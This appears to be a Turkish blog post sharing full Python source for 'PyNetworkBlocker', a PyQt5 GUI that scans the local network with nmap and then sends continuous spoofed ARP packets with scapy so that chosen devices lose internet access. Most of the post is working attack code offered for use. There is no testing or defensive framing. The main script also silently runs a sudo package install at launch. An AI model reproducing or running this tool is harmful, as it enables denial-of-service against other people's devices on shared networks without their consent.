Programlama dili olarak python kullandığım bu programımda arayüzü qt ile oluşturdum.
Yaptığı işlem genel olarak öncelikle interfaceleri bulup ilgili interface seçilince bulunulan ağa bağlı cihazların ip adreslerini getiriyor. Bunu yaparken nmap kütüphanesini kullandım. Scapy kütüphanesi ile de arp spoofing yapıyoruz. Sonrasında ağdaki cihazlar internete bağlanmamaya başlayacaktır.
pynetworkblocker.py ;
#-*- coding:utf8 -*-
import os
os.system("sudo apt-get install python-pyqt5")
import sys
import Ui_gui
import interfaces
from PyQt5 import QtCore, QtGui, QtWidgets
import nmap, socket, re, threading,time,thread
from scapy.all import *
import fcntl
import struct
import netifaces
class MainDialog(QtWidgets.QDialog, Ui_gui.Ui_Dialog, interfaces.Interfaces):
def __init__(self, parent=None):
super(MainDialog, self).__init__(parent)
self.setupUi(self)
self.online = 0
self.devices = []
self.mac = ""
self.ifaceButton.clicked.connect(self.getIface)
self.devicesButton.clicked.connect(self.getDevices)
self.ifaceList.itemClicked.connect(self.getDevices)
self.arpButton.clicked.connect(self.sendArp)
self.stop.clicked.connect(self.stopAction)
def stopAction(self):
self.status.setText("Status: Stoped")
self.online = 0
def send(self):
if self.online == 1:
while True:
for d in self.devices:
self.arp=scapy.all.ARP(op=1,psrc=self.sp,pdst=d,hwdst=self.mac)
print(self.sp, d, self.mac)
# self.log.moveCursor(QtGui.QTextCursor.End)
send(self.arp)
if self.online == 0:
break
def sendArp(self):
self.status.setText("Status: Started - Working")
self.online = 1
self.devices = []
for device in self.devicesList.selectedItems():
self.devices.append(device.text())
thread.start_new_thread(self.send, ())
def getDevieThread(self):
iface = self.ifaceList.currentItem().text()
self.mac= self.getMac(iface)
local = self.get_interface_ip(iface).split(".")
hosts_ip = local[0]+'.'+local[1]+'.'+local[2]
nm = nmap.PortScanner()
nm.scan(hosts=hosts_ip+'.0/24', arguments='-n -sP -PE -PA21,23,80,3389')
hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
hosts = []
for host, status in hosts_list:
spoof=re.findall("('(.+?)',)",str(hosts_list[0][:1]))
self.sp = spoof[0][1]
self.devicesList.clear()
hosts.append(host)
self.devicesList.addItems(hosts)
def getDevices(self):
self.devicesList.clear()
thread.start_new_thread(self.getDevieThread, ())
def getIface(self):
self.ifaceList.clear()
self.ifaceList.addItems(self.getInterfaces())
def getMac(self,ifname):
return netifaces.ifaddresses(ifname)[netifaces.AF_LINK][0]["addr"]
def get_interface_ip(self,ifname):
return netifaces.ifaddresses(ifname)[2][0]["addr"]
def get_lan_ip(self):
ip = socket.gethostbyname(socket.gethostname())
if ip.startswith("127.") and os.name != "nt":
interfaces = netifaces.interfaces()
for ifname in interfaces:
try:
ip = self.get_interface_ip(ifname)
break
except IOError:
pass
return ip
app = QtWidgets.QApplication(sys.argv)
form = MainDialog()
form.show()
app.exec_()
Ui_gui.py içeriği;
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file '/home/onuragtas/Workspace/arPython/gui.ui'
#
# Created by: PyQt5 UI code generator 5.10.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName("Dialog")
Dialog.resize(316, 295)
self.gridLayout = QtWidgets.QGridLayout(Dialog)
self.gridLayout.setObjectName("gridLayout")
self.devicesList = QtWidgets.QListWidget(Dialog)
self.devicesList.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection)
self.devicesList.setObjectName("devicesList")
self.gridLayout.addWidget(self.devicesList, 0, 1, 1, 1)
self.devicesButton = QtWidgets.QPushButton(Dialog)
self.devicesButton.setObjectName("devicesButton")
self.gridLayout.addWidget(self.devicesButton, 1, 1, 1, 1)
self.arpButton = QtWidgets.QPushButton(Dialog)
self.arpButton.setObjectName("arpButton")
self.gridLayout.addWidget(self.arpButton, 2, 1, 1, 1)
self.status = QtWidgets.QLabel(Dialog)
self.status.setObjectName("status")
self.gridLayout.addWidget(self.status, 3, 0, 1, 1)
self.stop = QtWidgets.QPushButton(Dialog)
self.stop.setObjectName("stop")
self.gridLayout.addWidget(self.stop, 3, 1, 1, 1)
self.ifaceButton = QtWidgets.QPushButton(Dialog)
self.ifaceButton.setObjectName("ifaceButton")
self.gridLayout.addWidget(self.ifaceButton, 2, 0, 1, 1)
self.ifaceList = QtWidgets.QListWidget(Dialog)
self.ifaceList.setObjectName("ifaceList")
self.gridLayout.addWidget(self.ifaceList, 0, 0, 2, 1)
self.retranslateUi(Dialog)
self.ifaceButton.clicked.connect(Dialog.show)
QtCore.QMetaObject.connectSlotsByName(Dialog)
def retranslateUi(self, Dialog):
_translate = QtCore.QCoreApplication.translate
Dialog.setWindowTitle(_translate("Dialog", "PyNetworkBlocker"))
self.devicesButton.setText(_translate("Dialog", "Ağdaki Cihazları Ara"))
self.arpButton.setText(_translate("Dialog", "Engelle"))
self.status.setText(_translate("Dialog", "Status:"))
self.stop.setText(_translate("Dialog", "Durdur"))
self.ifaceButton.setText(_translate("Dialog", "Search Interfaces"))
ve interfaces.py içeriği;
import socket
import fcntl
import struct
import array
class Interfaces():
def getInterfaces(self):
return self.all_interfaces()
def all_interfaces(self):
max_possible = 128 # arbitrary. raise if needed.
bytes = max_possible * 32
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
names = array.array('B', '\0' * bytes)
outbytes = struct.unpack('iL', fcntl.ioctl(
s.fileno(),
0x8912, # SIOCGIFCONF
struct.pack('iL', bytes, names.buffer_info()[0])
))[0]
namestr = names.tostring()
lst = []
for i in range(0, outbytes, 40):
name = namestr[i:i+16].split('\0', 1)[0]
ip = namestr[i+20:i+24]
lst.append(name)
return lst
def format_ip(self,addr):
return str(ord(addr[0])) + '.' + \
str(ord(addr[1])) + '.' + \
str(ord(addr[2])) + '.' + \
str(ord(addr[3]))
Bu program unix sistemlerde çalışacaktır. Çalışması için qt5, nmap, scapy.all, netifaces kütüphanelerini kuramız gerekiyor.